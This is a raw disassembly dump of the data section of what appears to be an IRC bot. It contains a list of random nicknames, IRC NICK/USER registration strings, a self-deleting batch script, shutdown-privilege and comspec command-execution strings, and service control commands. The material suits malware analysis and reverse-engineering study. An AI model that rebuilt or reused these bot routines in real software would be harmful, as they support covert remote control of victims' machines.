		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438858
		dd offset off_438854
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4386C0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
; ---------------------------------------------------------------------------
		aam	85h
		inc	ebx
		add	al, cl
		test	[ebx+0], eax
		rol	byte ptr [ebp-7A4BFFBDh], 43h


loc_43828B:				; DATA XREF: sub_417E35+41r
					; sub_417E35+ECr
		add	[eax-0BFFBC7Bh], ch
		xchg	eax, ebp
		inc	edx
		add	[ebp+eax*4-7A5FFFBDh], ah
		inc	ebx
		add	[eax-6BFFBC7Bh], bl
		test	[ebx+0], eax
		nop
		test	[ebx+0], eax
		mov	[ebp-7A7FFFBDh], al
		inc	ebx
		add	[eax-7Bh], bh
		inc	ebx
		add	[eax-7Bh], dh
		inc	ebx
		add	[eax-7Bh], ch
		inc	ebx
		add	[eax-7Bh], ah
		inc	ebx
		add	[eax-7Bh], bl
		inc	ebx
		add	[eax-7Bh], dl
		inc	ebx
		add	[ebp+eax*4+43h], al
		add	ds:85340043h[eax*4], bh
		inc	ebx
		add	[eax], dh
		test	[ebx+0], eax
		sub	[ebp-74E3FFBDh], al
		inc	ebx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_438B38
		dd offset aE		; "e"
		dd offset dword_438B34
		dd offset dword_438B30
		dd offset dword_438B2C
		dd offset aI		; "i"
		dd offset dword_42B938
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438B28
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438B40
		dd offset dword_438B20
		dd offset dword_438B3C
		dd offset dword_438B24
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438B24
		dd offset dword_438B30
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_4384E0
		dd offset aBbl		; "|bbl"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset a___0		; "_|_"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset dword_438AEC
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438B1C
		dd offset byte_43B4B8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset dword_438AD0
		dd offset byte_43B4B8
		dd offset off_4384A0
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438460
		dd offset dword_43845C
		dd offset dword_438454
		dd offset dword_438448
		dd offset dword_438440
		dd offset dword_438438
		dd offset dword_438430
		dd offset dword_43842C
		dd offset dword_438428
dword_438428	dd 7536h		; DATA XREF: ___:00438424o
dword_43842C	dd 7535h		; DATA XREF: ___:00438420o
dword_438430	dd 7C75347Ch, 0		; DATA XREF: ___:0043841Co
dword_438438	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438418o
dword_438440	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438414o
dword_438448	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o
dword_438454	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043840Co
dword_43845C	dd 6C6F6Ch		; DATA XREF: ___:00438408o
dword_438460	dd 746F74h		; DATA XREF: ___:00438404o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438400o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:004383FCo
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:004383F8o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:004383F4o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:004383F0o
aShit		db 'shit',0             ; DATA XREF: ___:004383ECo
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:004383E8o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:004383E4o
		align 10h
off_4384A0	dd offset word_594F42	; DATA XREF: ___:004383E0o
aFree		db 'Free',0             ; DATA XREF: ___:004383CCo
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:004383C8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:004383BCo
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:004383B0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:004383ACo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:004383A8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043838Co
aBbl		db '|bbl',0             ; DATA XREF: ___:00438380o
		align 10h
off_4384E0	dd offset loc_425241+1	; DATA XREF: ___:0043837Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438368o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438364o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438360o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043835Co
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438358o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00438354o
aRt		db 'rt',0               ; DATA XREF: ___:00438350o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:0043834Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438348o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00438344o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438340o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438320o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0
		align 4
aSex_0		db '{sex}',0
		align 10h
aHub		db '{hub}',0
		align 4
aLuck		db '|luck|',0
		align 10h
aSuck		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 10h
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 10h
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 10h
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438278o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438274o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438270o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: ___:0043826Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438268o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438264o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438260o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043825Co
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438258o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438254o
aAkden		db 'akden',0            ; DATA XREF: ___:00438250o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043824Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438248o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438244o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438240o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043823Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438238o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438234o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438230o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043822Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438228o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438224o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438220o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043821Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438218o
		align 10h
off_4386C0	dd offset byte_4B5245	; DATA XREF: ___:00438214o
aSevda		db 'sevda',0            ; DATA XREF: ___:00438210o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043820Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438208o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00438204o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00438200o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004381FCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004381F8o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004381F4o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004381F0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004381ECo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004381E8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004381E4o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004381E0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004381DCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004381D8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004381D4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004381D0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004381CCo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004381C8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004381C4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004381C0o
aHoly		db 'holy',0             ; DATA XREF: ___:004381BCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004381B8o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004381B4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004381B0o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004381ACo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: ___:004381A8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004381A4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004381A0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:0043819Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438198o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00438194o
aArda		db 'arda',0             ; DATA XREF: ___:00438190o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:0043818Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438188o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00438184o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438180o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043817Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00438178o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00438174o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438170o
		align 4
off_438854	dd offset byte_457441	; DATA XREF: ___:0043816Co
dword_438858	dd 414C5941h, 2Dh	; DATA XREF: ___:00438168o
aAlbina		db 'albina',0           ; DATA XREF: ___:00438164o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438160o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:0043815Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438158o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00438154o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438150o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043814Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438148o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00438144o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438140o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:0043813Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00438138o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00438134o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438130o
aArzu		db 'ARZU',0             ; DATA XREF: ___:0043812Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438128o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00438124o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438120o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:0043811Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438118o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00438114o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438110o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:0043810Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438108o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00438104o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438100o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004380FCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:004380F8o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004380F4o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: ___:004380F0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004380ECo
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004380E8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004380E4o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004380E0o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004380DCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004380D8o
aReshma		db 'reshma',0           ; DATA XREF: ___:004380D4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004380D0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004380CCo
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004380C8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004380C4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: ___:004380C0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004380BCo
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004380B8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004380B4o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004380B0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004380ACo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004380A8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: ___:004380A4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:004380A0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: ___:0043809Co
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00438098o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00438094o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438090o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:0043808Co
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438088o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00438084o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438080o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:0043807Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438078o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00438074o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438070o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:0043806Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438068o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00438064o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438060o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043805Co
		align 4
aM_0:					; DATA XREF: ___:00438058o
					; ___:004383A4o
		unicode	0, <M>,0
word_438AC0	dw 4Eh			; DATA XREF: sub_41A367+38r
					; ___:00438054o
		align 4
dword_438AC4	dd 42h			; DATA XREF: ___:00438050o
dword_438AC8	dd 56h			; DATA XREF: ___:0043804Co
dword_438ACC	dd 43h			; DATA XREF: ___:00438048o
dword_438AD0	dd 58h			; DATA XREF: ___:00438044o
					; ___:004383D8o
dword_438AD4	dd 5Ah			; DATA XREF: ___:00438040o
dword_438AD8	dd 4Ch			; DATA XREF: ___:0043803Co
dword_438ADC	dd 4Bh			; DATA XREF: ___:00438038o
dword_438AE0	dd 4Ah			; DATA XREF: ___:00438034o
dword_438AE4	dd 48h			; DATA XREF: ___:00438030o
dword_438AE8	dd 47h			; DATA XREF: ___:0043802Co
dword_438AEC	dd 46h			; DATA XREF: ___:00438028o
					; ___:004383A0o
dword_438AF0	dd 44h			; DATA XREF: ___:00438024o
dword_438AF4	dd 53h			; DATA XREF: ___:00438020o
dword_438AF8	dd 50h			; DATA XREF: ___:00438018o
dword_438AFC	dd 4Fh			; DATA XREF: ___:00438014o
dword_438B00	dd 55h			; DATA XREF: ___:0043800Co
word_438B04	dw 59h			; DATA XREF: sub_41A68B+38r
					; ___:00438008o
		align 4
dword_438B08	dd 54h			; DATA XREF: ___:00438004o
dword_438B0C	dd 52h			; DATA XREF: ___:00438000o
dword_438B10	dd 45h			; DATA XREF: ___:00437FFCo
dword_438B14	dd 57h			; DATA XREF: ___:00437FF8o
dword_438B18	dd 51h			; DATA XREF: ___:00437FF4o
dword_438B1C	dd 62h			; DATA XREF: ___:00437FE8o
					; ___:004383B4o
dword_438B20	dd 78h			; DATA XREF: ___:00438334o
dword_438B24	dd 7Ah			; DATA XREF: ___:0043833Co
					; ___:0043836Co
dword_438B28	dd 6Ch			; DATA XREF: ___:00438308o
dword_438B2C	dd 68h			; DATA XREF: ___:004382F4o
dword_438B30	dd 67h			; DATA XREF: ___:004382F0o
					; ___:00438370o
dword_438B34	dd 66h			; DATA XREF: ___:004382ECo
dword_438B38	dd 64h			; DATA XREF: ___:004382E4o
dword_438B3C	dd 79h			; DATA XREF: ___:00438338o
dword_438B40	dd 77h			; DATA XREF: ___:00438330o
dword_438B44	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B1E+C3o
dword_438B50	dd 323334h		; DATA XREF: sub_417B1E+88o
dword_438B54	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B1E+67o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C15+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E35+BCo
					; sub_417E35+175r ...
		align 4
dword_438B9C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_438BE8	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_41827E+E3o
; ---------------------------------------------------------------------------


loc_438C04:				; DATA XREF: sub_41827E+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_438C18	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41827E+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418791+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418857+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418857+48o
		align 4
unk_438CCC	db  2Dh	; -		; DATA XREF: sub_4189DF+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438CFC	db  2Dh	; -		; DATA XREF: sub_4189DF+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438D24	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4189DF+5Co
		dd 65726165h, 64h
off_438D40	dd offset aAdd		; DATA XREF: sub_418BBF+6Dr
					; sub_418FA3+50r ...
					; "Add"
off_438D44	dd offset aAdded	; DATA XREF: sub_418BBF+2Dr
					; sub_418FA3+82r ...
					; "Added"
dword_438D48	dd 0			; DATA XREF: sub_418BBF+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438DB4h, 438DACh,	2, 438DA0h, 438D94h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438D74o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438D70o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00438D68o
aStart_0	db 'Start',0            ; DATA XREF: ___:00438D64o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00438D5Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00438D58o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00438D50o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00438D4Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_438D44o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_438D40o
unk_438E08	db  2Dh	; -		; DATA XREF: sub_418BBF+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438E2C	db  2Dh	; -		; DATA XREF: sub_418BBF+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438E58	db  2Dh	; -		; DATA XREF: sub_418BBF+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418CE8:loc_418DF2o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418CE8:loc_418DEBo
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418CE8:loc_418DE4o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418CE8:loc_418DDDo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418CE8:loc_418DCFo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418CE8:loc_418DC8o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418CE8:loc_418DC1o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418CE8:loc_418D96o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418CE8:loc_418D8Fo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418CE8:loc_418D88o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418CE8:loc_418D81o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418CE8:loc_418D56o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418CE8:loc_418D4Co
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418CE8:loc_418D42o
